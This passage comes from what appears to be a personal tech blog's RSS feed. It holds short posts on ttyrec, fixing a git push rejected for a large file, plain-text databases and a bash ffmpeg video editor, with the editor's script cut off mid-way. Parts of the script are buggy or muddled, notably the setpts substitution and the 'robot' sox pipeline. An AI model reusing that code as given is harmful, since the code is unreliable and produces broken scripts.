</span></span></code></pre></div><p>Do your work normally.</p>
<h3 id="stop">Stop:</h3>
<p>Press <code>Ctrl+D</code> or run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>exit
</span></span></code></pre></div><h3 id="replay">Replay:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ttyplay mysession.tty
</span></span></code></pre></div><p>This is the closest thing to “OBS for pure text TTY”.</p>
-
How to fix: Git mistake of pushing big file
https://imlauera.github.io/gitgit/
Fri, 05 Dec 2025 20:09:02 -0300
https://imlauera.github.io/gitgit/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>> how <span style="color:#66d9ef">do</span> I solve this? I push big file but I already deleted but I still get this error <span style="color:#f92672">[</span>main 7279758<span style="color:#f92672">]</span> certificaados
</span></span><span style="display:flex;"><span>... <span style="color:#ae81ff">1</span> file changed, <span style="color:#ae81ff">0</span> insertions<span style="color:#f92672">(</span>+<span style="color:#f92672">)</span>, <span style="color:#ae81ff">0</span> deletions<span style="color:#f92672">(</span>-<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>... create mode <span style="color:#ae81ff">100644</span> asfd
</span></span><span style="display:flex;"><span>... Enumerating objects: 17, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>... Counting objects: 100% <span style="color:#f92672">(</span>17/17<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>... Delta compression using up to <span style="color:#ae81ff">2</span> threads
</span></span><span style="display:flex;"><span>... Compressing objects: 100% <span style="color:#f92672">(</span>12/12<span style="color:#f92672">)</span>, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>... Writing objects: 100% <span style="color:#f92672">(</span>13/13<span style="color:#f92672">)</span>, 95.26 MiB | 3.56 MiB/s, <span style="color:#66d9ef">done</span>.
</span></span><span style="display:flex;"><span>... Total <span style="color:#ae81ff">13</span> <span style="color:#f92672">(</span>delta 7<span style="color:#f92672">)</span>, reused <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>delta 0<span style="color:#f92672">)</span>, pack-reused <span style="color:#ae81ff">0</span> <span style="color:#f92672">(</span>from 0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>... remote: Resolving deltas: 100% <span style="color:#f92672">(</span>7/7<span style="color:#f92672">)</span>, completed with <span style="color:#ae81ff">4</span> local objects.
</span></span><span style="display:flex;"><span>... remote: error: Trace: f5b8d8909b994b8b492b5e9982e5b0cfa0566c55dcb5c0adb34db0ddd7cb87b1
</span></span><span style="display:flex;"><span>... remote: error: See https://gh.io/lfs <span style="color:#66d9ef">for</span> more information.
</span></span><span style="display:flex;"><span>... remote: error: File 00reflexiones/amen.wav is 137.08 MB; this exceeds GitHub<span style="color:#960050;background-color:#1e0010">'</span>s file size limit of 100.00 MB
</span></span><span style="display:flex;"><span>... remote: error: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com.
</span></span><span style="display:flex;"><span>... To github.com:analisismatematico2/analisismatematico2.github.io
</span></span><span style="display:flex;"><span>... ! <span style="color:#f92672">[</span>remote rejected<span style="color:#f92672">]</span> main -> main <span style="color:#f92672">(</span>pre-receive hook declined<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="lo-solucioné-con-esto">Lo solucioné con esto.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git filter-branch --force --index-filter <span style="color:#e6db74">'git rm --cached --ignore-unmatch 00reflexiones/amen.wav'</span> --prune-empty --tag-name-filter cat -- --all
</span></span></code></pre></div>
-
Las base de datos son bloat mejor usa un archivo de texto plano.
https://imlauera.github.io/base_de_datos_bloat_plainfiles/
Wed, 03 Dec 2025 04:01:56 -0300
https://imlauera.github.io/base_de_datos_bloat_plainfiles/
<p>Las bases de datos son bloat, es mejor usar un archivo texto plano y usar las herramientas de Unix para buscar informacion dentro de ellos.</p>
<hr>
<p>Aquí tenés una <strong>guía práctica y realista</strong> para usar <strong>un archivo de texto plano como “base de datos”</strong> para un colegio, usando solo <strong>grep, awk, sed, sort, cut</strong> y herramientas Unix.
La clave es <strong>formato bien definido</strong>, <strong>un registro por línea</strong> y <strong>campos separados</strong> de forma consistente.</p>
-
El problema con bloat en software libre
https://imlauera.github.io/el_problema_con_bloat_en_software_libre/
Tue, 02 Dec 2025 11:50:00 -0300
https://imlauera.github.io/el_problema_con_bloat_en_software_libre/
<p><a href="https://web.archive.org/web/20250830142410/https://www.tastyfish.cz/lrs/bloat_monopoly.html">https://web.archive.org/web/20250830142410/https://www.tastyfish.cz/lrs/bloat_monopoly.html</a></p>
<h4 id="bloat-monopoly">Bloat Monopoly</h4>
<p>Bloat monopoly is an exclusive control over or de-facto ownership of software or even a whole area of technology not by legal means but by means of bloat, or generally just abusing bloat in ways that lead to gaining monopolies, e.g. by establishing standards or even legal requirements (such as the EU mandatory content filters) which only the richest may conform to. Even if given software is FOSS (that is its source code is public and everyone has basic legal rights to it), it can be malicious due to bloat, for example it can still be made practically controlled exclusively by the developer because the developer is the only one with sufficient resources and/or know-how to be able to execute the basic rights such as meaningful modifications of the software, which goes against the very basic principle of free software. Bloat monopoly is seeks to maximize freedom distance.</p>
-
Si queres castear de tu Google Drive a SmartTV
https://imlauera.github.io/castear_a_smart_tv/
Tue, 02 Dec 2025 11:40:59 -0300
https://imlauera.github.io/castear_a_smart_tv/
<p>Lo mejor es descargar el video pero desde Android 11+ se puede hacer un espejo de tu celular desde la barra de notificaciones y reproducir el video en tu televisor o chromecast.</p>
-
Generate videos cli
https://imlauera.github.io/slider_lukesmith/
Tue, 02 Dec 2025 02:03:33 -0300
https://imlauera.github.io/slider_lukesmith/
<p>El script está hecho para que el audio dure lo msimo que el video</p>
<h4 id="si-el-audio-dura-más-tiempo-entonces-tenes-que-usar-el-script-tal-cual-está-si-el-audio-dura-menos-tenes-que-hardcodear-el-valor-de-totseconds-a-5-o-a-los-segundos-que-pongas-por-imágen">Si el audio dura más tiempo entonces tenes que usar el script tal cual está, si el audio dura menos tenes que hardcodear el valor de <code>totseconds</code> a 5 o a los segundos que pongas por imágen.</h4>
<h5 id="todo-para-hacer">TODO (para hacer):</h5>
<ol>
<li>Arreglar el script si el audio dura menos que las imágenes porque genera valor negativo.</li>
<li>Subir video automáticamente a YouTube y a Archive.</li>
<li>Crear un artículo automáticamente basado en imágenes.</li>
<li>Crear un audio con espeak que tenga la misma duración que el video (contá cuántas imágenes tenes y multiplicá por cada segundo cada imágen).</li>
<li>Enlazá las URLs de archive automáticamente</li>
<li>Hacer script para juntar videos (no imagenes) con ffmpeg.</li>
<li>Subtitular audios subilos a youtube y descargalos con yt-dlp.</li>
<li>Pasar los subtitulos a un llm o a chatgpt para que haga un resumen.</li>
<li>Generar un archivo de audio con los subtitulos de chatgpt.</li>
</ol>
<p>Sacá las fotos horizontales, grabá el audio (despues de grabar el audio subi el volumen con ffmpeg 4 veces mas el comando esta en la publicacion interesantes-comandos), disponé de espacio disponible.</p>
-
Auto edit videos
https://imlauera.github.io/auto_edit_videos/
Mon, 01 Dec 2025 08:05:14 -0300
https://imlauera.github.io/auto_edit_videos/
<p>There is <strong>NO real Python script</strong> that makes videos <em>automatically viral</em> — nothing on earth can guarantee virality — <strong>BUT</strong> there <em>are</em> Python scripts that automatically:</p>
<p>✔ detect highlights
✔ cut boring parts
✔ add subtitles
✔ add zooms / memes / emojis / captions
✔ follow “TikTok/Reels style” rules
✔ make clips fast-paced and catchy</p>
<p>…and <strong>these dramatically increase virality potential</strong>.</p>
<p>I can give you a <strong>fully working Python script</strong> that:</p>
-
CLI video editing
https://imlauera.github.io/cli_video_editing/
Sun, 30 Nov 2025 19:27:39 -0300
https://imlauera.github.io/cli_video_editing/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># cli_video_editor.sh</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Full CLI Video Editor for Arch Linux (ffmpeg-based)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Requirements: ffmpeg, espeak-ng (or espeak), sox, imagemagick (convert), jq (optional)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Install on Arch:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># sudo pacman -S ffmpeg espeak-ng sox imagemagick jq</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Usage: ./cli_video_editor.sh <command> [options]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Commands:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># cut <input> <start> <end> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># trim <input> <start> <duration> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># speed <input> <factor> <out> # factor >1 faster, <1 slower</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># reverse <input> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># add_text <input> <text> <x> <y> <fontsize> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># add_watermark <input> <image> <x> <y> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># add_music <input_video> <music> <mix_level(0..1)> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># tts_narrate <text> <voicefile.wav> # creates wav using espeak-ng</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># voice_change <inwav> <mode> <outwav> # modes: chipmunk, deep, robot, pitchN</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># overlay_audio <video> <audio> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># burn_subs <video> <sub.srt> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># filter_pixelate <input> <scale_width> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># filter_grayscale <input> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># filter_glitch <input> <out></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># help</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Examples:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ./cli_video_editor.sh cut input.mp4 00:00:05 00:00:12 cut.mp4</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ./cli_video_editor.sh speed input.mp4 2.0 speedx2.mp4</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ./cli_video_editor.sh add_text input.mp4 "HELLO WORLD" 50 50 48 out.mp4</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ./cli_video_editor.sh tts_narrate "Hello there" voice.wav</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ./cli_video_editor.sh overlay_audio video.mp4 voice.wav final.mp4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -euo pipefail
</span></span><span style="display:flex;"><span>IFS<span style="color:#f92672">=</span><span style="color:#e6db74">$'\n\t'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Helper: check dependencies</span>
</span></span><span style="display:flex;"><span>required_bins<span style="color:#f92672">=(</span>ffmpeg espeak-ng sox convert<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> b in <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>required_bins[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ! command -v <span style="color:#e6db74">"</span>$b<span style="color:#e6db74">"</span> &>/dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Warning: </span>$b<span style="color:#e6db74"> not found in PATH. Install it for full functionality."</span> >&<span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Function: cut by start and end (absolute times)</span>
</span></span><span style="display:flex;"><span>cut_segment<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local start<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local end<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$4<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -ss <span style="color:#e6db74">"</span>$start<span style="color:#e6db74">"</span> -to <span style="color:#e6db74">"</span>$end<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -c copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Function: trim by start + duration</span>
</span></span><span style="display:flex;"><span>trim_segment<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local start<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local dur<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$4<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -ss <span style="color:#e6db74">"</span>$start<span style="color:#e6db74">"</span> -t <span style="color:#e6db74">"</span>$dur<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -c copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>reverse_video<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -vf reverse -af areverse <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>speed_change<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local factor<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># video pts scaling, audio tempo (atempo supports 0.5-2.0; chain if needed)</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># build audio filter chain for atempo</span>
</span></span><span style="display:flex;"><span> awk_cmd<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$factor<span style="color:#e6db74"> > 0"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># video setpts multiplier = 1/factor</span>
</span></span><span style="display:flex;"><span> vp<span style="color:#f92672">=</span><span style="color:#e6db74">"setpts=</span><span style="color:#e6db74">${</span>1/factor<span style="color:#e6db74">}</span><span style="color:#e6db74">*PTS"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># calculate setpts properly</span>
</span></span><span style="display:flex;"><span> local inv<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"scale=9; 1/</span>$factor<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># audio atempo: break into allowed multipliers between 0.5 and 2.0</span>
</span></span><span style="display:flex;"><span> atempo_chain<span style="color:#f92672">=()</span>
</span></span><span style="display:flex;"><span> val<span style="color:#f92672">=</span>$factor
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># for speedup (>1) we need atempo= factor, but atempo accepts 0.5-2.0</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># we will compute the audio filter as multiple chained atempo filters for large factors</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># but easiest: resample using asetrate then aresample</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$factor<span style="color:#e6db74"> >= 0.1"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># for simplicity use asetrate trick (works but may change pitch)</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -filter_complex <span style="color:#e6db74">"[0:v]setpts=</span><span style="color:#e6db74">${</span>inv<span style="color:#e6db74">}</span><span style="color:#e6db74">*PTS[v];[0:a]asetrate=44100*</span><span style="color:#e6db74">${</span>factor<span style="color:#e6db74">}</span><span style="color:#e6db74">,aresample=44100,atempo=1[a]"</span> -map <span style="color:#e6db74">"[v]"</span> -map <span style="color:#e6db74">"[a]"</span> -c:v libx264 -preset fast -crf <span style="color:#ae81ff">23</span> <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Invalid factor: </span>$factor<span style="color:#e6db74">"</span>; <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Add text overlay (simple center/default)</span>
</span></span><span style="display:flex;"><span>add_text<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local text<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local x<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>; local y<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$4<span style="color:#e6db74">"</span>; local size<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$5<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$6<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># escape text for ffmpeg drawtext</span>
</span></span><span style="display:flex;"><span> local esc<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">'%s'</span> <span style="color:#e6db74">"</span>$text<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">"s/'/\\\\'/g"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -vf <span style="color:#e6db74">"drawtext=fontfile=/usr/share/fonts/TTF/DejaVuSans.ttf:text='</span>$esc<span style="color:#e6db74">':fontcolor=white:fontsize=</span><span style="color:#e6db74">${</span>size<span style="color:#e6db74">}</span><span style="color:#e6db74">:borderw=3:x=</span><span style="color:#e6db74">${</span>x<span style="color:#e6db74">}</span><span style="color:#e6db74">:y=</span><span style="color:#e6db74">${</span>y<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> -codec:a copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Watermark with image overlay</span>
</span></span><span style="display:flex;"><span>add_watermark<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local in<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local img<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local x<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>; local y<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$4<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$5<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$in<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$img<span style="color:#e6db74">"</span> -filter_complex <span style="color:#e6db74">"overlay=</span><span style="color:#e6db74">${</span>x<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>y<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> -c:a copy <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Mix background music with given mix level (0-1 for music volume)</span>
</span></span><span style="display:flex;"><span>add_music<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local invid<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local music<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local mixlevel<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$4<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># extract original audio</span>
</span></span><span style="display:flex;"><span> tmp_audio<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>mktemp --suffix<span style="color:#f92672">=</span>.wav<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$invid<span style="color:#e6db74">"</span> -vn -ac <span style="color:#ae81ff">2</span> -ar <span style="color:#ae81ff">44100</span> -f wav <span style="color:#e6db74">"</span>$tmp_audio<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># adjust music volume and mix</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$tmp_audio<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$music<span style="color:#e6db74">"</span> -filter_complex <span style="color:#e6db74">"[1:a]volume=</span><span style="color:#e6db74">${</span>mixlevel<span style="color:#e6db74">}</span><span style="color:#e6db74">[m];[0:a][m]amix=inputs=2:duration=first:dropout_transition=2[a]"</span> -map <span style="color:#e6db74">"0:v?"</span> -map <span style="color:#e6db74">"[a]"</span> -c:v copy -c:a aac -b:a 192k <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> rm -f <span style="color:#e6db74">"</span>$tmp_audio<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Overlay an audio file (narration) onto a video (replace or mix based on flag?)</span>
</span></span><span style="display:flex;"><span>overlay_audio<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local video<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local audio<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local out<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> ffmpeg -y -i <span style="color:#e6db74">"</span>$video<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$audio<span style="color:#e6db74">"</span> -c:v copy -map 0:v:0 -map 1:a:0 -shortest -c:a aac -b:a 192k <span style="color:#e6db74">"</span>$out<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># TTS via espeak-ng</span>
</span></span><span style="display:flex;"><span>tts_narrate<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local text<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local outwav<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> command -v espeak-ng &>/dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> espeak-ng -v en -s <span style="color:#ae81ff">150</span> -w <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$text<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> command -v espeak &>/dev/null; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> espeak -s <span style="color:#ae81ff">150</span> -w <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$text<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"No espeak-ng/espeak installed"</span> >&2; <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Voice change using sox</span>
</span></span><span style="display:flex;"><span>voice_change<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> local inwav<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>; local mode<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>; local outwav<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$3<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$mode<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> chipmunk<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># raise pitch -> faster</span>
</span></span><span style="display:flex;"><span> sox <span style="color:#e6db74">"</span>$inwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> pitch <span style="color:#ae81ff">700</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> deep<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> sox <span style="color:#e6db74">"</span>$inwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> pitch -300
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> robot<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># ringmod + delay-ish</span>
</span></span><span style="display:flex;"><span> sox <span style="color:#e6db74">"</span>$inwav<span style="color:#e6db74">"</span> -p pitch -150 | sox - -n sinc 100-1000 <span style="color:#f92672">&&</span> sox <span style="color:#e6db74">"</span>$inwav<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$outwav<span style="color:#e6db74">"</span> chorus 0.7 0.9 <span style="color:#ae81ff">55</span> 0.4 0.25 <span style="color:#ae81ff">2</span> -t
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> pitch*<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># pitchN like pitch200</span>
